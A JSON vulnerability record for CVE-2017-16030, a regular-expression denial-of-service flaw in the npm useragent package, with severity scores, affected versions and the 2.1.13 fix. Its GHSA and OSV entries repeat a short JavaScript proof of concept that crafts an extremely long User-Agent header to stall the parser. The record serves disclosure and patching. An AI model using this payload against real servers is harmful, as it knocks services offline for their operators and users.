{"id":"CVE-2017-16030","aliases":["EUVD-2018-0302","GHSA-pjmx-9xr3-82qr"],"status":"published","title":"ReDoS via long UserAgent header in useragent","description":"Useragent is used to parse useragent headers. It uses several regular expressions to accomplish this. An attacker could edit their own headers, creating an arbitrarily long useragent string, causing the event loop and server to block. This affects Useragent 2.1.12 and earlier.","severity":{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-09","score":0.01144,"percentile":0.66936,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2018-06-04T19:00:00Z","modified":"2026-06-17T01:08:41Z","fixes":[{"ecosystem":"npm","package":"useragent","fixed_in":["2.1.13"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"useragent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.1.12"},{"fixed":"2.1.13"}]}]},{"source":"osv","ecosystem":"npm","package":"useragent","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.13"}]}]}],"products":[{"vendor":"hackerone","product":"useragent node module"},{"vendor":"useragent_project","product":"useragent"}],"references":[{"url":"https://nodesecurity.io/advisories/312","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16030","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pjmx-9xr3-82qr","tags":["advisory"]},{"url":"https://www.npmjs.com/advisories/312","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2017-16030","description":"Useragent is used to parse useragent headers. It uses several regular expressions to accomplish this. An attacker could edit their own headers, creating an arbitrarily long useragent string, causing the event loop and server to block. This affects Useragent 2.1.12 and earlier.","status":"published","published":"2018-06-04T19:00:00Z","modified":"2024-09-17T00:41:28.696Z","cwes":["CWE-400"],"updated_at":"2026-11-02T14:33:21.453505Z"}],"euvd":[{"id":"EUVD-2018-0302","description":"Useragent is used to parse useragent headers. It uses several regular expressions to accomplish this. An attacker could edit their own headers, creating an arbitrarily long useragent string, causing the event loop and server to block. This affects Useragent 2.1.12 and earlier.","status":"published","published":"2018-06-04T19:00:00Z","modified":"2024-09-17T00:41:28Z","updated_at":"2026-11-03T00:28:56.965297Z"}],"ghsa":[{"id":"GHSA-pjmx-9xr3-82qr","title":"ReDoS via long UserAgent header in useragent","description":"Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.\n\n\n## Proof of Concept\n```js\nvar useragent = require('useragent');\n\nvar badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';\nvar request = 'GET / HTTP/1.1\\r\\nUser-Agent: ' + badUserAgent + '\\r\\n\\r\\n';\nconsole.log(useragent.parse(request));\n```\n\n\n## Recommendation\n\nUpdate to version 2.1.13 or later.","status":"published","published":"2018-07-24T19:59:13Z","modified":"2023-09-06T20:07:59Z","cwes":["CWE-400"],"updated_at":"2026-11-02T14:37:02.632342Z"}],"nvd":[{"id":"CVE-2017-16030","description":"Useragent is used to parse useragent headers. It uses several regular expressions to accomplish this. An attacker could edit their own headers, creating an arbitrarily long useragent string, causing the event loop and server to block. This affects Useragent 2.1.12 and earlier.","status":"published","published":"2018-06-04T19:29:01.677Z","modified":"2026-06-17T01:08:41.183Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:N/I:N/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:04:17.638656Z"}],"osv":[{"id":"GHSA-pjmx-9xr3-82qr","title":"ReDoS via long UserAgent header in useragent","description":"Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.\n\n\n## Proof of Concept\n```js\nvar useragent = require('useragent');\n\nvar badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';\nvar request = 'GET / HTTP/1.1\\r\\nUser-Agent: ' + badUserAgent + '\\r\\n\\r\\n';\nconsole.log(useragent.parse(request));\n```\n\n\n## Recommendation\n\nUpdate to version 2.1.13 or later.","status":"published","published":"2018-07-24T19:59:13Z","modified":"2023-11-08T03:59:00.619293Z","cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:53.244788Z"}]}}